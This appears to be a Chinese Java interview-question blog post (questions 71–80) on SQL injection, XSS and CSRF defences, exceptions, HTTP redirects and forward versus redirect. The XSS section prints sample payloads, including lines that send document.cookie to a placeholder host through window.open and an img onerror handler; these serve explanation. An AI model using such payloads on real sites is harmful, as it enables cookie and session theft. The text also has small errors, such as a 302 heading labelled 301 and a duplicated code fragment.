206面试题(71~80)

208道Java面试题

文章目录

  • [**71. 如何避免 SQL 注入?**](#71. 如何避免 SQL 注入?)

  • [**72. 什么是 XSS 攻击,如何避免?**](#72. 什么是 XSS 攻击,如何避免?)

  • [**73. 什么是 CSRF 攻击,如何避免?**](#73. 什么是 CSRF 攻击,如何避免?)

  • [**74. throw 和 throws 的区别?**](#74. throw 和 throws 的区别?)

  • [**75. final、finally、finalize 有什么区别?**](#75. final、finally、finalize 有什么区别?)

  • [**76. try-catch-finally 中哪个部分可以省略?**](#76. try-catch-finally 中哪个部分可以省略?)

  • [**77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?**](#77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?)

  • [**78. 常见的异常类有哪些?**](#78. 常见的异常类有哪些?)

  • [**79. http 响应码 301 和 302 代表的是什么?有什么区别?**](#79. http 响应码 301 和 302 代表的是什么?有什么区别?)

  • [**80. forward 和 redirect 的区别?**](#80. forward 和 redirect 的区别?)

71. 如何避免 SQL 注入?

Java中的SQL注入是一种常见的网络攻击技术,攻击者通过在应用程序的输入字段中输入恶意的SQL代码,来破坏或操纵后端数据库的行为。这种攻击可以导致数据泄露、数据损坏甚至整个应用程序的崩溃。

SQL注入的原理

SQL注入通常发生在应用程序将用户输入直接拼接到SQL查询语句中时,而没有对输入进行适当的验证或转义。例如,一个应用程序可能允许用户通过输入字段来指定查询条件,如果这个输入没有被适当地处理,那么用户输入的恶意SQL代码就会被执行。

防止SQL注入的措施

1、使用预处理语句(Prepare Statements)

  • 预处理语句确保所有的输入都会被当作数据处理,而不是SQL代码的一部分。使用PreparedStatement类,可以提前编译SQL语句,并使用参数占用符?来代表输入的变量。无论用户输入什么数据,都会被当作字符串处理,而不是SQL语句。
java 复制代码
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.SQLException;
public class SqlInjectionExample {
    public void searchById(Connection connection, int id) throws SQLException {
        String query = "SELECT * FROM users WHERE id = ?";
        PreparedStatement preparedStatement = connection.prepareStatement(query);
        preparedStatement.setInt(1, id);
        ResultSet resultSet = preparedStatement.executeQuery();
        // 处理结果集
    }
}

2、输入验证

  • 在将用户输入内容应用于SQL查询之前,对输入进行验证,确保它们符合预期的格式。可以使用正则表达式或其他验证机制来实现。

3、使用ORM框架

  • Object-Relatinal Mapping(ORM)框架如HIbernate,JPA等提供了内置的防止SQL注入的机制。它们使用映射规则将Java对象与数据库表相关联,并自动生成安全的SQL查询。

4、参数化查询

  • 参数化查询是一种将数据作为参数传递给SQL语句的方法,而不是直接将它们嵌入到语句中。这可以确保用户输入不会被解释为SQL代码。

5、限制数据库权限

  • 确保应用程序的数据库账户只有必要的权限,这样即使发生SQL注入,攻击者也不能执行DROP TABLE或其他破坏性操作。

6、使用Web应用防火墙(WAF)

  • Web应用防火墙可以检测和阻止SQL注入攻击。它们通常具有预配置的规则,可以识别和过滤恶意输入。

7、安全编码实践

  • 遵循安全编码实践,使用专业的代码审计工具来检测潜在的安全漏洞。

72. 什么是 XSS 攻击,如何避免?

XSS攻击,就是跨站脚本攻击(Cross Site Scripting),是Web程序中常见的漏洞。

XSS攻击原理

在web页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。

XSS攻击的类型

1、DOM Bassed XSS:基于网页DOM结构的攻击。

例子:

  • input标签 Value 属性赋值。
java 复制代码
//jsp
<input type="text" value="<%= getParameter("content") %>">

访问

java 复制代码
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>    //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>    //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
  • 利用a标签的href属性的赋值。
java 复制代码
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>

访问

java 复制代码
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //点击 a 标签就会弹出 XSS 字样
  • image 标签src属性,onload,onerror,onclick事件中注入恶意代码。
java 复制代码
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />

2、Stored XSS:存储式XSS漏洞。

java 复制代码
<form action="save.do">
	<input name="content" value="">
</form>

输入 ,提交

当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie。

预防思路

  • web页面中可由用户输入的地方,对输入的数据转义,过滤处理。

  • 后台输出页面的时候,也需要对输出内容进行转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库)。

  • 前端对 html 标签属性、css 属性赋值的地方进行校验。

73. 什么是 CSRF 攻击,如何避免?

CSRF(Cross-Site Request Forgery),跨站请求伪造。也被称为one-click attack或session riding,是一种网络攻击方式。它利用用户在当前已登录的Web应用程序上执行非本意的操作,攻击者通过盗用用户的登录信息,以用户的身份模拟发送各种请求。这些请求对服务器来说是合法的,但实际上是完成了攻击者所期望的操作。

CSRF攻击原理

  • 用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A。

  • 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站成功,可以正常发送请求到网站。

  • 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B(攻击者构建的恶意网站)。

  • 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A。

  • 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

避免CSRF攻击的方法

1、验证HTTP Referer字段

  • Referer是HTTP请求头中的一个字段,记录了该HTTP请求的来源地址。通过验证Referer字段,可以确保请求确实是从合法来源发出的。然而,需要注意的是,Referer字段可以被伪造或禁用 ,因此这种方法并不是完全可靠的。

2、使用Same Site Cookie

  • SameSite是Cookie的一个属性,用于限制Cookie的跨站访问。通过设置SameSite属性为Strict或Lax,可以限制Cookie在跨站请求时的发送。这种方法可以有效降低CSRF攻击的风险,但需要注意的是,部分较老的浏览器可能不支持SameSite属性。

3、在HTTP头中定义自定义属性并验证

  • 在HTTP请求中自定义属性(如Test)并进行验证。服务器在生成响应时,可以包含一个随机生成的Token,并在后续的请求中要求客户端携带该Token。服务器在收到请求后,会验证Token的有效性,以确保请求是由合法用户发出的。

4、使用CSRF Token令牌

  • CSRF Token是一种更为常见的防御方法。服务器在生成页面时,会嵌入一个随机生成的Token,并在表单提交时要求客户端携带该Token。服务器在收到请求后,会验证Token的有效性,如果Token不匹配或不存在,则拒绝请求。这种方法可以有效防止CSRF攻击,因为攻击者无法伪造有效的Token。

5、限制GET请求的使用

  • GET请求通常用于数据检索,不应该用于修改服务器上的数据。因此,应该限制GET请求的使用范围,并确保所有可能修改数据的操作都使用POST或其他安全的HTTP方法。

6、使用HTTPS

  • 虽然HTTPS本身并不能直接防止CSRF攻击,但它可以提供更安全的通信环境,减少中间人攻击的风险,从而间接提高Web应用程序的安全性。

7、同源策略

  • 现代浏览器实施了同源策略,限制了不同源(域名、协议、端口)之间的交互。确保关键操作只能在同一域名下进行,可以有效防止CSRF攻击。

8、使用验证码

  • 对于敏感操作,可以要求用户数额u验证码进行验证。增加了攻击者伪造合法请求的难度,从而提高了系统程序的安全性。

9、设置短期有效的Cookie

  • 将用户的身份验证信息存储在短期有效的Cookie中,这样即使Cookie被盗用,有效期也相对较短,减少了被盗用的风险。

10、防御点击劫持

  • 通过在响应头中添加X-Frame-Options,限制页面的嵌入方式。这样可以防止攻击者通过点击劫持等手段诱导用户执行非授权操作。

74. throw 和 throws 的区别?

1、用法区别

throw

  • 作用 :throw是一个关键字,用于在方法体内部抛出一个具体的异常对象。当程序执行到throw语句时,会立即停止当前方法的执行,并将控制权交给该方法的调用者,同时传递异常对象。

  • 作用域:throw只能用在方法体内,可以作为独立的语句使用。

  • 实例:throw new IllegalArgumentException("参数不合法");

throws

  • 作用throws是一个关键字,用于在方法声明时声明该方法可能会抛出的异常类型。它并不创建异常对象,而是告诉方法的调用者该方法可能会抛出哪些类型的异常,调用者需要对此进行处理(通过try-catch语句或继续向上抛出)。

  • 作用域throws必须跟在方法参数列表之后,方法体之前,且不能单独使用。

  • 实例:public void readFile(String fileName) throws FileNotFoundException{方法体}

2、语义区别

throw

  • 表示一个具体的动作,就是抛出一个异常对象。执行到throw语句时,会立即终止当前方法的执行流程。

throws

  • 表示一种可能。表示该方法在执行过程中可能会遇到某些类型的异常,但并不一定会抛出这些异常。它是一种声明机制,用于告知方法的调用者需要处理哪些可能的异常。

3、异常处理上的区别

throw

  • 抛出的是具体的异常对象,因此可以包含异常的具体信息(如错误消息、堆栈跟踪等)。

  • 抛出异常后,通常需要在调用者处使用try-catch语句进行捕获和处理,或者继续向上抛出。

throws

  • 声明的是异常类型,而不是具体的异常对象。

  • 调用者需要对声明的异常类型进行处理,可以通过try-catch语句捕获并处理,或者通过throws继续向上声明。

4、使用场景

throw

  • 当方法内部发生了某个具体的错误,且该错误无法通过当前方法内部的逻辑进行恢复时,可以使用throw抛出异常,让调用者知道发生了什么问题。

throws

  • 当方法可能会因为某些外部因素(如文件不存在、网络错误等)而失败时,可以使用throws声明这些可能的异常,以便调用者能够提前了解并准备相应的处理逻辑。

5、注意事项

  • throws可以声明多个异常类型,异常类型之间用逗号分隔。

  • throw抛出的异常对象必须是Throwable或其子类的实例。

  • 在使用throws声明异常时,应该尽量声明具体的异常类型,而不是笼统地声明为ExceptionThrowable,这有助于调用者更准确地了解异常的性质和处理方式。

75. final、finally、finalize 有什么区别?

性质区别

  • final:关键字。

  • finalize():方法。

  • finally:区块标志,用于try语句中。

作用区别

  • final:用于标识常量的关键字,final标识的关键字存储在常量池中。

  • finalize():finalize()方法在Object中进行了定义,用于在对象"消失"时,由JVM进行调用用于对对象 进行垃圾回收。

  • finally{}:用于标识代码块,与try{ }进行配合,不论try中的代码执行完或没有执行完(这里指有异常),该代码块之中的程序必定会进行 .

final的用法

  • 被final修饰的类不可以被继承。

  • 被final修饰的方法不能被重写。

  • 被final修饰的变量不能呗改变。如果修饰引用,那么表示引用不可变,引用指向的内容可变。

  • 被final显示的方法VM会尝试将其内联,以提高运行效率被final修饰的常量,在编译阶段会存入常量池中。

finally的用法

  • 在异常处理中的使用的,不管 try 语句块正常结束还是异常结束,finally 语句块是保证要执行的。

  • 如果 try 语句块正常结束,那么在 try 语句块中的语句都执行完之后,再执行 finally 语句块。

  • 当try和catch中有return时,finally仍然会执行; finally是在return后面的表达式运算后执行的。

finalize的用法

finalize() 是Java中Object的一个protected方法.返回值为空,当该对象被垃圾回收器回收时,会调用该方法。

finalize()函数

  • finalize不等价于c++中的析构函数。

  • 对象可能不被垃圾回收器回收。

  • 垃圾回收不等于析构。

  • 垃圾回收只与内存有关。

  • 垃圾回收和finalize()都是靠不住的,只要JVM还没有快到耗尽内存的地步,它是不会浪费时间进行垃圾回收的。

  • 程序强制终结后,那些失去引用的对象将会被垃圾回收.(System.gc())。

76. try-catch-finally 中哪个部分可以省略?

try必须和catch或finally中连用一个。

try-catch

java 复制代码
public class TryCatchExample {
    public static void main(String[] args) {
        try {
            // 尝试执行的代码块
            int result = 10 / 0; // 这将引发一个ArithmeticException,因为不能除以零
            System.out.println("结果是: " + result);
        } catch (ArithmeticException e) {
            // 当try块中的代码引发ArithmeticException时执行的代码块
            System.out.println("捕获到异常: 不能除以零");
            // 可以在这里处理异常,比如记录日志、给用户显示错误信息等
        }
        
        // 这里的代码将继续执行,即使try块中发生了异常并且被catch块捕获
        System.out.println("程序继续执行...");
    }
}

try-finally

java 复制代码
public class TryFinallyExample {
    public static void main(String[] args) {
        FileInputStream fileInput = null;
        try {
            // 尝试打开文件并读取数据
            fileInput = new FileInputStream("example.txt");
            int data = fileInput.read();
            while(data != -1) {
                System.out.print((char) data);
                data = fileInput.read();
            }
        } finally {
            // 无论是否发生异常,都会执行finally块中的代码
            if (fileInput != null) {
                try {
                    fileInput.close(); // 关闭文件输入流
                } catch (IOException e) {
                    // 处理关闭文件时的异常
                    System.out.println("关闭文件时发生错误: " + e.getMessage());
                }
            }
            System.out.println("文件操作完成,资源已释放。");
        }
    }
}

try-catch-finally

java 复制代码
public class TryCatchFinallyExample {
    public static void main(String[] args) {
        FileReader fileReader = null;
        try {
            // 尝试打开文件
            fileReader = new FileReader("example.txt");
            int data;
            while ((data = fileReader.read()) != -1) {
                // 读取文件内容并打印到控制台
                System.out.print((char) data);
            }
        } catch (FileNotFoundException e) {
            // 捕获并处理文件未找到异常
            System.out.println("文件未找到: " + e.getMessage());
        } catch (IOException e) {
            // 捕获并处理其他I/O异常
            System.out.println("读取文件时发生错误: " + e.getMessage());
        } finally {
            // 无论是否发生异常,都会执行finally块中的代码
            if (fileReader != null) {
                try {
                    fileReader.close(); // 关闭文件读取器以释放资源
                } catch (IOException e) {
                    // 处理关闭文件时的异常
                    System.out.println("关闭文件时发生错误: " + e.getMessage());
                    // 注意:在实际应用中,通常不建议在finally块中抛出或重新抛出异常,
                    // 因为这可能会隐藏原始异常信息。这里仅为了演示如何处理关闭时的异常。
                }
            }
            System.out.println("文件操作完成,资源已释放(或尝试释放)。");
        }
    }
}

77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?

是的。即使catch块中执行了return语句,finally块仍然会执行。

finally块是异常处理的最后阶段,它通常用于清理资源,比如关闭文件流、释放锁或者关闭数据库连接等。无论是否发生异常,无论 try 块还是 catch 块中的代码是否正常执行或者提前退出(通过 return 语句实现退出),finally 块总是会执行。

例子

java 复制代码
public class FinallyExample {
    public static void main(String[] args) {
        try {
            // 可能会抛出异常的代码
            System.out.println("In try block");
            throw new Exception("Exception in try block");
        } catch (Exception e) {
            // 处理异常的代码
            System.out.println("In catch block");
            return; // 即使这里返回,finally块仍然会执行
        } finally {
            // 无论是否发生异常都会执行的代码
            System.out.println("In finally block");
        }
    }
}

注意:

在这个例子中,即使catch使用了return语句,控制台仍然会输出"In finally block"。

但是如果在finally中使用了return语句。则finally中的return语句会覆盖try和catch块中的return。这意味着,最终方法返回的是finally块中的返回值。
*

78. 常见的异常类有哪些?

常见的编译时异常

  • SQLException:提供有关数据库访问错误或其他错误的信息的异常。如:SQL语句错误,无表等。

  • IOexception:表示发生了某种I / O异常的信号。此类是由失败或中断的I / O操作产生的一般异常类。

  • FileNotFoundException:当试图打开指定路径名表示的文件失败时,抛出此异常。(IOexception的子类)。这里的找不到是在你的编译结果文件夹里面找不到,而不是在你的工程里面找不到。

  • ClassNotFoundException:找不到具有指定名称的类的定义。

  • EOFException:当输入过程中意外到达文件或流的末尾时,抛出此异常。(IOexception的子类)。

常见的运行时异常

  • StringIndexOutOfBoundsException :指示某排序索引(例如对数组、字符串或向量的排序)超出范围时抛出。

  • ArrayIndexOutOfBoundsException :用非法索引访问数组时抛出的异常。如果索引为负或大于等于数组大小,则该索引为非法索引。

  • ArithmeticException :当出现异常的运算条件时,抛出此异常。如:除以零

  • IllegaArguementException :抛出的异常表明向方法传递了一个不合法或不正确的参数。

  • NullPointerException:当应用程序试图在需要对象的地方使用 null 时,抛出该异常。

79. http 响应码 301 和 302 代表的是什么?有什么区别?

HTTP响应301和302是用于进行HTTP重定向的状态码。

HTTP 301 Moved Permanently(永久重定向)

  • 当服务器返回HTTP 301状态码时,表示请求的资源已经被永久移动到新的位置。

  • 客户端在接收到这个响应后,应该更新所有引用该资源的链接。搜索引擎也会把链接权重从原始 URL 转移到新的 URL。

Http 302 Found(临时重定向)

  • 当服务器返回HTTP 302状态码时,表示请求的资源临时被移动到新的位置。

  • 客户端在接收到这个响应后,通常应该使用新的 URL 进行后续的请求。搜索引擎在处理这种情况时不会更新链接的权重。

区别

永久重定向(301)

  • 表示请求的资源已经永久移动到新的位置。

  • 客户端在接收到 301 后,应该更新所有引用该资源的链接。

  • 浏览器会缓存这个重定向,之后直接访问原始 URL 时会自动跳转到新的 URL。

临时重定向(301)

  • 表示请求的资源临时被移动到新的位置。

  • 客户端在接收到 302 后,通常应该使用新的 URL 进行后续的请求。

  • 浏览器不会缓存这个重定向,之后访问原始 URL 时仍会请求原始位置。

代码举例说明

java 复制代码
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.http.HttpStatus;

@Controller
public class RedirectController {

    @GetMapping("/redirect301")
    @ResponseStatus(HttpStatus.MOVED_PERMANENTLY)
    public String redirect301() {
        return "redirect:/new-url";
    }

    @GetMapping("/redirect302")
    @ResponseStatus(HttpStatus.FOUND)
    public String redirect302() {
        return "redirect:/new-url";
    }
}

tatus.FOUND)

public String redirect302() {

return "redirect:/new-url";

}

}

``

redirect301方法返回 HTTP 301,而 redirect302方法返回 HTTP 302。这些方法使用了 Spring 的注解 @ResponseStatus来指定返回的 HTTP 状态码。

80. forward 和 redirect 的区别?

forward和redirect

forward

  • forward又叫转发,表示转发。当请求到来时,可以将请求转发到其他的指定服务,用户端不知道。

redirect

  • redirect表示转发,当请求发给A服务时,服务A返回重定向给客户端,客户端再去请求B服务。

forward使用注意

  • 转发和被转发的请求类型必须一致,即全是GET或者POST。

  • 转发者方法不能被标识位@RestController或者@ResponseBody。

redirect使用注意

  • redirect不支持post请求.

  • redirect需要携带请求参数,需要在url地址中进行编码防止中文乱码。

forward、redirect区别

1、地址栏

  • ​forword是服务器内部的重定向,服务器直接访问目标地址的 url网址,把里面的东西读取出来,但是客户端并不知道,因此用forward的话,客户端浏览器的网址是不会发生变化的。

  • ​redirect是服务器根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址,所以地址栏显示的是新的地址。

2、数据分享

  • ​由于在整个定向的过程中用的是同一个request,因此forward会将request的信息带到被重定向的jsp或者 servlet中使用。即可以共享数据。

  • redirect不能共享数据。

3、使用场景

  • ​forword 一般用于用户登录的时候,根据角色转发到相应的模块。

  • ​redirect一般用于用户注销登录时返回主页面或者跳转到 其他网站。

4、效率

  • forward效率较高。

  • redirect效率较低。

5、本质

  • forward:转发时服务器上的行为。

  • redirect:重定向时客户端的行为。

6、请求次数

  • forward:一次。

  • redirect:两次。

相关推荐
程序猿进阶24 分钟前
堆外内存泄露排查经历
java·jvm·后端·面试·性能优化·oom·内存泄露
长风清留扬2 小时前
一篇文章了解何为 “大数据治理“ 理论与实践
大数据·数据库·面试·数据治理
周三有雨13 小时前
【面试题系列Vue07】Vuex是什么?使用Vuex的好处有哪些?
前端·vue.js·面试·typescript
爱米的前端小笔记14 小时前
前端八股自学笔记分享—页面布局(二)
前端·笔记·学习·面试·求职招聘
好学近乎知o14 小时前
解决sql字符串
面试
我明天再来学Web渗透18 小时前
【SQL50】day 2
开发语言·数据结构·leetcode·面试
程序员奇奥19 小时前
京东面试题目分享
面试·职场和发展
理想不理想v21 小时前
【经典】webpack和vite的区别?
java·前端·javascript·vue.js·面试
沈小农学编程1 天前
【LeetCode面试150】——202快乐数
c++·python·算法·leetcode·面试·职场和发展
清酒伴风(面试准备中......)1 天前
操作系统基础——针对实习面试
笔记·面试·职场和发展·操作系统·实习